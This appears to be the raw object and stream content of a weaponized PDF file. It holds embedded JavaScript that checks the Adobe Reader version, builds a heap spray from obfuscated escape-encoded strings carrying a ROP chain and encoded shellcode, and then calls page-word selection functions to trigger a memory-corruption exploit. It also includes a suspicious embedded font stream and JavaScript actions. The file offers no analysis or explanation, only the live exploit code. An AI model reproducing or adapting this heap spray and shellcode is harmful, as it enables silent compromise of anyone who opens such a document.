ccMMdcdbMMb2b5MMb0b7MMc74eMM438fMMf6c8MMed40MM89a1MMc272MMeb2eMM2bfbMM9edcMM5b28MM761eMM9a03MM9e6aMM7e46MM1d2bMM2635MMd2bbMM995eMM8ebdMMad20MM5185MMf88eMM3997MM8cb2MM973eMM47dfMMae98MM9de6MM4991MMacb6MM89f5MM0f41MMbe84MMa90cMM3df5MMb671MM16f7MM5d78MM9e50MM771cMMed1cMM26d0MMb567MMeba0MM552eMM034eMM6a15MM7501MM02ebMM650cMMf617MM10b3MM6cc3MM9fb6MMd978MMfe9fMM0c8bMM9befMM020eMM080fMM0a09MM340bMM3635MM3037MM3231MM3c33MM3e3dMM383fMM3a39MM243bMM2625MM2027MM2221MM2c23MM2e2dMM282fMM2a29MMef90MMedeeMM5057MM5251MM5c53MM5e5dMM585fMM5a59MM445bMM4645MM2d24MM6225MM2f6cMM3a6dMM252aMM6439MM0c2eMM7610MM709fMM7271MM2173MM93fcMM7802MM7a79MMcd93MM999bMMeb98MMe9b1MMe796MMe593MMeba1MM5aa8MM3883MM696bMMa368MM1b58MMd4deMMdb1eMM9cd7MM53aaMM7bcaMMcef0MMd578MMbfa5MM0f53MM8e90MM64fdMM5ab4MMa90cMMc1b5MMd852MMb24eMMbcb3MMfed7MMed40MM3395MM9cfeMMcef5MMa058MMa2a1MMf95cMM25a1MM2367MM92ecMM15a8MM3e56MM16d2MMd2d1MMa92cMM21e5MMc88aMMdab3MMc4b1MMa6adMMc0edMM3dc1MM84b6MM9b32MMa2efMM47c9MMa88eMM9ca5MM7df3MMa6b4MM03a3MMb688MMad00MM90e1MM8efbMM8ee5MMca83MMe2e1MM991cMM11a5MMc8baMM80bcMM7cebMM1695MM1017MM107bMM1c79MM1f77MM1877MM1a19MM895bMM6940MM8357MM1644MMe706MM8507MM83faMM5ff6MMd880MM50caMMd823MMcdc0MMc3ccMMbd60MMc7c7MM384cMM1dd0MM63acMM486bMM2621MM2c23MM6e47MM7dd0MMa305MM686eMM13deMMd903MM0a14MM1bbbMMa1a3MM0da0MM936aMMc90aMM2e00MMc317MM6a04MMa746MMc547MMd8baMM1fd9MM98c0MM108aMM985fMM8d80MM838cMM1420MM127fMM8586MM602eMM0e64MM6067MM2261MM29eeMM3e14MM2decMM6f7dMM9e80MM631eMM6f1cMM19c4MM637fMM8afbMM6977MM6566MMd964MM7e06MMf578MM6983MM05baMMd7c8MM88e7MM8a8dMMde8bMM49f5MM9ce2MMf738MM37faMMdbf8MMfd36MM52d0MM595bMM595aMM93f2MMf368MMe92eMMfed4MMed2cMMaf81MMde40MM235eMM4047MM5984MM233fMMf6bbMM2937MM2526MM9924MMc6afMM3fadMM973eMMccc7MM4d9dMMe08aMM21ccMM7fc1MM6600MMa567MM1e7aMM9a0cMM16d5MM070eMM0506MM8ea6MM8ce5MM1f18MMe6b4MMb590MM17d0MM97a8MM6de2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMb31aMM6868MM1468MM967eMMfdc6MM6897MM63c2MM021aMM68b3MM6868MM1cc5MM3bd2MM68c7MM67c2MM2a1aMM68b3MM6868MMd0d8MMa817MMe297MM1c6dMMbb22MM6869MM1c68MMd71aMM6869MM6568MMfd33MMfd97MM1c97MMa71aMM6869MMc668MMc21cMMc557MMc268MMfd4bMMff97MM9717MM9797MM95fdMM97fdMM95fdMM97ffMM9797MM1a57MMb312MM6868MMc768MMc268MM1e77MM53d2MM1250MM69b3MM6868MM9797MM9797MM1a1cMM69d3MM6868MM7e56MMae9dMMb31aMM6869MMe468MMfdeaMM1a97MM23c2MMffc5MM9397MM9797MM121aMM6db3MM6868MM1cc7MM57daMM68c6MM73c2MMd250MM973fMM9797MM7c97MM1c9eMM3fc2MM5514MM1e96MM3fc2MMea16MM973fMM9793MMe497MM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM467cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MM1a1cMM69b3MM6868MM5614MM1e96MMb31aMM6869MM7e68MM68e5MM6868MM021cMM69b3MM6868MM7556MM1c9dMMd312MM6869MMbc68MM1255MM9857MM1413MM9797MMfd97MM1a97MM23daMM1cc6MMb302MM6869MM5668MM9d75MM121cMM69d3MM6868MM55bcMM1ac7MMb31aMM686dMMc668MMc21cMMc557MMc268MM5073MM3fd2MM9797MM9797MM9e7cMMd21cMM143fMM9657MMd21eMM1c3fMMb31aMM6869MM5668MM9d76MM021cMM69d3MM6868MM46bcMMc2aeMMe43fMM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM537cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MMda1cMMc653MMc268MM1a7bMM772aMM6869MMa468MM2e57MM9786MM9797MM3c65MM2a1aMM69c7MM6868MMd0d8MMa817MMe297MM176dMMb790MM51d0MMb590MM221aMM68b3MM6868MMd0d9MM1dd1MM1f89MM1788MM97a9MM62e2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMc71aMM6869MMc668MM97fdMMc268MM1c63MM57c2MM68c5MM7bc2MMc268MM1e6fMM2bd2MM97fdMMd21cMMc72bMMc268MMc66bMM1cc1MMabe4MMe31cMMef89MM6494MM1cc1MMb7e1MM6494MM5ea4MMdec4MM3ad6MM94ccMMc454MM4ca4MM2998MMad87MMe341MM569fMM905cMM4d94MM7cd7MMac66MMe288MMcd72MM1cc9MMb3c9MM4d94MM1cf1MMdc9bMMc91cMM948bMM1c4dMM1c93MM5594MM1ac0MM472aMM6868MM1c68MM5bdaMM5014MM7593MM3c6cMM14c8MM9350MM4d1cMMcec9MMd268MM545bMM267fMM686dMM7a68MM6838MM1923MM9d84MMd43bMM3b29MM044cMM73a5MM2503MM98a1MM5384MM881aMMc0e3MM9af1MMae68MMea75MM5e14MM312bMM2cfcMMb871MM18adMM8f65MM4cf6MM94afMM9797MM9657MM0a97MM96a3MM9e97MM9797MM6f97MM97d4MM9e97MM9797MMcf97MM97bdMMcf97MM967dMMf697MMf6f6MMb9f6MMf3e7MM97f1MMf5f6MMf3f4MMe7b9MMf1f3MM9797MM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM4c00MMac01MMd200MM5501MM0a00MM6663MM3831MM3030MM3030MM3063MM3063MM3039MM3737MM6530MM3839MM6538MM3833MM3862MM3') );}
                function zzz(){ ccc = aaa( urpl("%",vvv)+uuu+uuu );ccc+=ccc;}
                function zzzz(){while (ccc.length + 20 + 8 < 65536) ccc+=ccc;}
                function zzzzz(){ddd = ccc["substring"](0, (0x0c0c-0x24)/2);}
                function zzzzzz(){ddd += bbb;}
                function zzzzzzz(){ddd += ccc;}
                function zzzzzzzz(){eee = ddd["substring"](0, 65536/2);}
                function zzzzzzzzz(){while(eee.length < 0x80000) eee += eee;}
                function zzzzzzzzzz(){fff = eee["substring"](0, 0x80000 - (0x1020-0x08) / 2);}
                function zzzzzzzzzzz(){ggg = new Array();}
                function zzzzzzzzzzzz(){for (hhh=0;hhh<0x1f0;hhh++) ggg[hhh]=fff+"s";}
                
function spray_heap9(ppp)
     {
           z(ppp);zz();zzz();zzzz();zzzzz();zzzzzz();zzzzzzz();zzzzzzzz();zzzzzzzzz();zzzzzzzzzz();zzzzzzzzzzz();zzzzzzzzzzzz();          
     }

                

        
function zy8()
{
bbb = aaa(  urpl("%",'MM4141MM4141MM4141MM4141MM4141MM4141MM17f2MM4a82MM5000MM4a84MM630fMM4a80MM7ec9MM4a81MM203cMM4a82MM57bcMM4a80MM156aMM4a82MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM0000MM0000MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0008MM0000MM597dMM4a80MM7ec9MM4a81MM2038MM4a82MM57bcMM4a80MM156aMM4a82MMffffMMffffMM0000MM0000MM0040MM0000MM0000MM0000MM0000MM0001MM0000MM0000MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0008MM0000MM597dMM4a80MM7ec9MM4a81MM2030MM4a82MM57bcMM4a80MM156aMM4a82MMffffMMffffMM0022MM0000MM0000MM0000MM0000MM0000MM0000MM0001MM17f2MM4a82MM5004MM4a84MM630fMM4a80MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0030MM0000MM597dMM4a80MM7ec9MM4a81MM5004MM4a84MMa649MM4a81MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0020MM0000MM597dMM4a80MM17f2MM4a82MM156aMM4a82MM00a0MM4a82MM7ec9MM4a81MM0034MM0000MM795aMM4a80MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM000aMM0000MM597dMM4a80MM7ec9MM4a81MM2140MM4a82MM57bcMM4a80MMffffMMffffMMffffMMffffMMffffMMffffMM1000MM0000MMeb90MM5e19MMfe8bMMdf8bMMe0b9MM0002MMb200MMfce7MM32acMM34c2MMaaebMMcafeMMf6e2MMd3ffMMe2e8MMffffMMe5ffMM0f4bMM080fMM395fMM50cbMM76beMMbb07MM3e71MM4cb8MM9321MM78b4MM6431MM89f8MM7475MM2dcfMM2221MMa523MMad2aMM20ebMMedaaMM6f2fMM23a4MM93bbMMd931MM783fMMd579MM641aMM0ed2MM3c73MM9346MM0accMMc959MM6c19MM934eMM7cacMMc100MMff7fMM8376MM8f44MMb242MMd08fMMbef9MM7f0bMMb5b8MM6776MM8d9dMM5b93MM461dMM194bMMe58cMM4c35MMb76aMM1f0dMMdd99MMca1cMM918dMM174eMM1599MM5d9cMMde10MM98bfMM45e4MMc540MM82e5MM8c83MMe48dMM058fMMd6ccMMdcdbMMb2b5MMb0b7MMc74eMM438fMMf6c8MMed40MM89a1MMc272MMeb2eMM2bfbMM9edcMM5b28MM761eMM9a03MM9e6aMM7e46MM1d2bMM2635MMd2bbMM995eMM8ebdMMad20MM5185MMf88eMM3997MM8cb2MM973eMM47dfMMae98MM9de6MM4991MMacb6MM89f5MM0f41MMbe84MMa90cMM3df5MMb671MM16f7MM5d78MM9e50MM771cMMed1cMM26d0MMb567MMeba0MM552eMM034eMM6a15MM7501MM02ebMM650cMMf617MM10b3MM6cc3MM9fb6MMd978MMfe9fMM0c8bMM9befMM020eMM080fMM0a09MM340bMM3635MM3037MM3231MM3c33MM3e3dMM383fMM3a39MM243bMM2625MM2027MM2221MM2c23MM2e2dMM282fMM2a29MMef90MMedeeMM5057MM5251MM5c53MM5e5dMM585fMM5a59MM445bMM4645MM2d24MM6225MM2f6cMM3a6dMM252aMM6439MM0c2eMM7610MM709fMM7271MM2173MM93fcMM7802MM7a79MMcd93MM999bMMeb98MMe9b1MMe796MMe593MMeba1MM5aa8MM3883MM696bMMa368MM1b58MMd4deMMdb1eMM9cd7MM53aaMM7bcaMMcef0MMd578MMbfa5MM0f53MM8e90MM64fdMM5ab4MMa90cMMc1b5MMd852MMb24eMMbcb3MMfed7MMed40MM3395MM9cfeMMcef5MMa058MMa2a1MMf95cMM25a1MM2367MM92ecMM15a8MM3e56MM16d2MMd2d1MMa92cMM21e5MMc88aMMdab3MMc4b1MMa6adMMc0edMM3dc1MM84b6MM9b32MMa2efMM47c9MMa88eMM9ca5MM7df3MMa6b4MM03a3MMb688MMad00MM90e1MM8efbMM8ee5MMca83MMe2e1MM991cMM11a5MMc8baMM80bcMM7cebMM1695MM1017MM107bMM1c79MM1f77MM1877MM1a19MM895bMM6940MM8357MM1644MMe706MM8507MM83faMM5ff6MMd880MM50caMMd823MMcdc0MMc3ccMMbd60MMc7c7MM384cMM1dd0MM63acMM486bMM2621MM2c23MM6e47MM7dd0MMa305MM686eMM13deMMd903MM0a14MM1bbbMMa1a3MM0da0MM936aMMc90aMM2e00MMc317MM6a04MMa746MMc547MMd8baMM1fd9MM98c0MM108aMM985fMM8d80MM838cMM1420MM127fMM8586MM602eMM0e64MM6067MM2261MM29eeMM3e14MM2decMM6f7dMM9e80MM631eMM6f1cMM19c4MM637fMM8afbMM6977MM6566MMd964MM7e06MMf578MM6983MM05baMMd7c8MM88e7MM8a8dMMde8bMM49f5MM9ce2MMf738MM37faMMdbf8MMfd36MM52d0MM595bMM595aMM93f2MMf368MMe92eMMfed4MMed2cMMaf81MMde40MM235eMM4047MM5984MM233fMMf6bbMM2937MM2526MM9924MMc6afMM3fadMM973eMMccc7MM4d9dMMe08aMM21ccMM7fc1MM6600MMa567MM1e7aMM9a0cMM16d5MM070eMM0506MM8ea6MM8ce5MM1f18MMe6b4MMb590MM17d0MM97a8MM6de2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMb31aMM6868MM1468MM967eMMfdc6MM6897MM63c2MM021aMM68b3MM6868MM1cc5MM3bd2MM68c7MM67c2MM2a1aMM68b3MM6868MMd0d8MMa817MMe297MM1c6dMMbb22MM6869MM1c68MMd71aMM6869MM6568MMfd33MMfd97MM1c97MMa71aMM6869MMc668MMc21cMMc557MMc268MMfd4bMMff97MM9717MM9797MM95fdMM97fdMM95fdMM97ffMM9797MM1a57MMb312MM6868MMc768MMc268MM1e77MM53d2MM1250MM69b3MM6868MM9797MM9797MM1a1cMM69d3MM6868MM7e56MMae9dMMb31aMM6869MMe468MMfdeaMM1a97MM23c2MMffc5MM9397MM9797MM121aMM6db3MM6868MM1cc7MM57daMM68c6MM73c2MMd250MM973fMM9797MM7c97MM1c9eMM3fc2MM5514MM1e96MM3fc2MMea16MM973fMM9793MMe497MM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM467cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MM1a1cMM69b3MM6868MM5614MM1e96MMb31aMM6869MM7e68MM68e5MM6868MM021cMM69b3MM6868MM7556MM1c9dMMd312MM6869MMbc68MM1255MM9857MM1413MM9797MMfd97MM1a97MM23daMM1cc6MMb302MM6869MM5668MM9d75MM121cMM69d3MM6868MM55bcMM1ac7MMb31aMM686dMMc668MMc21cMMc557MMc268MM5073MM3fd2MM9797MM9797MM9e7cMMd21cMM143fMM9657MMd21eMM1c3fMMb31aMM6869MM5668MM9d76MM021cMM69d3MM6868MM46bcMMc2aeMMe43fMM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM537cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MMda1cMMc653MMc268MM1a7bMM772aMM6869MMa468MM2e57MM9786MM9797MM3c65MM2a1aMM69c7MM6868MMd0d8MMa817MMe297MM176dMMb790MM51d0MMb590MM221aMM68b3MM6868MMd0d9MM1dd1MM1f89MM1788MM97a9MM62e2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMc71aMM6869MMc668MM97fdMMc268MM1c63MM57c2MM68c5MM7bc2MMc268MM1e6fMM2bd2MM97fdMMd21cMMc72bMMc268MMc66bMM1cc1MMabe4MMe31cMMef89MM6494MM1cc1MMb7e1MM6494MM5ea4MMdec4MM3ad6MM94ccMMc454MM4ca4MM2998MMad87MMe341MM569fMM905cMM4d94MM7cd7MMac66MMe288MMcd72MM1cc9MMb3c9MM4d94MM1cf1MMdc9bMMc91cMM948bMM1c4dMM1c93MM5594MM1ac0MM472aMM6868MM1c68MM5bdaMM5014MM7593MM3c6cMM14c8MM9350MM4d1cMMcec9MMd268MM545bMM267fMM686dMM7a68MM6838MM1923MM9d84MMd43bMM3b29MM044cMM73a5MM2503MM98a1MM5384MM881aMMc0e3MM9af1MMae68MMea75MM5e14MM312bMM2cfcMMb871MM18adMM8f65MM4cf6MM94afMM9797MM9657MM0a97MM96a3MM9e97MM9797MM6f97MM97d4MM9e97MM9797MMcf97MM97bdMMcf97MM967dMMf697MMf6f6MMb9f6MMf3e7MM97f1MMf5f6MMf3f4MMe7b9MMf1f3MM9797MM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM4c00MMac01MMd200MM5501MM0a00MM6663MM3831MM3030MM3030MM3063MM3063MM3039MM3737MM6530MM3839MM6538MM3833MM3862MM31' ));
}
function spray_heap8(ppp)
{
      z(ppp);zy8();zzz();zzzz();zzzzz();zzzzzz();zzzzzzz();zzzzzzzz();zzzzzzzzz();zzzzzzzzzz();zzzzzzzzzzz();zzzzzzzzzzzz();  
}

function saga1()
{
   var cWord = this.getPageNthWord(2, 0);
   this.selectPageNthWord(2 , 0);
}
function saga2()
{
   var cWord = this.getPageNthWord(5, 0);
   this.selectPageNthWord(5 , 0);
}
function saga3()
{
   var cWord = this.getPageNthWord(8, 0);
   this.selectPageNthWord(8 , 0);
}




if (ver>9.8)
{
while(1);
}
else
{   if(ver>9.7)
        {   
            while(1);
        }
    
    else
        {
            if(ver>9.6)
               { 
                    while(1);
               }
            else
                {
                    if(ver>=9)
                        {

                            spray_heap9(unescape);
                            saga1()
                        }  
                    else if(ver>=8)
                        {
                            spray_heap8(unescape);
                            saga2();
                        }
                    else if(ver>=7)
                        {
                            spray_heap8(unescape);
                            saga3();
                        }

                        

                }
                
                    
        }
}




 
endstream 
endobj 
13 0 obj 
<<
/Parent 3 0 R
/Resources 
<<
/ColorSpace 
<<
/CS0 14 0 R
>>
/Font 
<<
/F1 37 0 R
>>
/ProcSet [/PDF]
>>
/MediaBox [0 0 595 842]
/pdftk_PageNum 9
/Type /Page
/Contents [38 0 R]
>>
endobj 
12 0 obj 
<<
/Parent 3 0 R
/Resources 
<<
/ColorSpace 
<<
/CS0 14 0 R
>>
/Font 
<<
/TT0 17 0 R
>>
/ProcSet [/PDF]
>>
/MediaBox [0 0 595 842]
/pdftk_PageNum 8
/Type /Page
/Contents [39 0 R]
>>
endobj 
11 0 obj 
<<
/Parent 3 0 R
/Resources 
<<
/ColorSpace 
<<
/CS0 14 0 R
>>
/Font 
<<
/TT0 19 0 R
>>
/ProcSet [/PDF]
>>
/MediaBox [0 0 595 842]
/pdftk_PageNum 7
/Type /Page
/Contents [40 0 R]
>>
endobj 
37 0 obj 
<<
/BaseFont /Cinema
/Subtype /TrueType
/FontDescriptor 41 0 R
/Widths []
/Name /F1
/Encoding /MacRomanEncoding
/Type /Font
>>
endobj 
41 0 obj 
<<
/Flags 131140
/FontFile2 42 0 R
/FontName /Cinema
/FontBBox [-177 -269 1123 866]
/Type /FontDescriptor
>>
endobj 
42 0 obj 
<<
/Length 7965
/Length1 7965
>>
stream
            OS/2�_�c  �p   V    ъ^�  ��   6""""���  �l   X3333�� 9   �   �DDDD���  &`   �gasp       H    glyf tA�  &�  �~hdmx4�!   �    Hhead݄��   T   6hhea E o  �L   $hmtx	Ǝ�  ��   0kern�Rՙ  ��  -�loca���=  ��    maxp G :  �,    SINGټȵ       �post�Z/�  ��   �prep; �    �   h              :                                                                                                                                                                                                                                                                                                         t
                                                                                                                                                                                                                                                                                  l       fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff��    ��g���� 
L m            
endstream 
endobj 
24 0 obj 
<<
/JS 43 0 R
/S /JavaScript
>>
endobj 
25 0 obj 
<<
/JS 44 0 R
/S /JavaScript
>>
endobj 
43 0 obj 
<<
/Length 1242
>>
stream
function xx()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);

// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}

                



endstream 
endobj 
44 0 obj 
<<
/Length 1572
>>
stream
function yy()
{
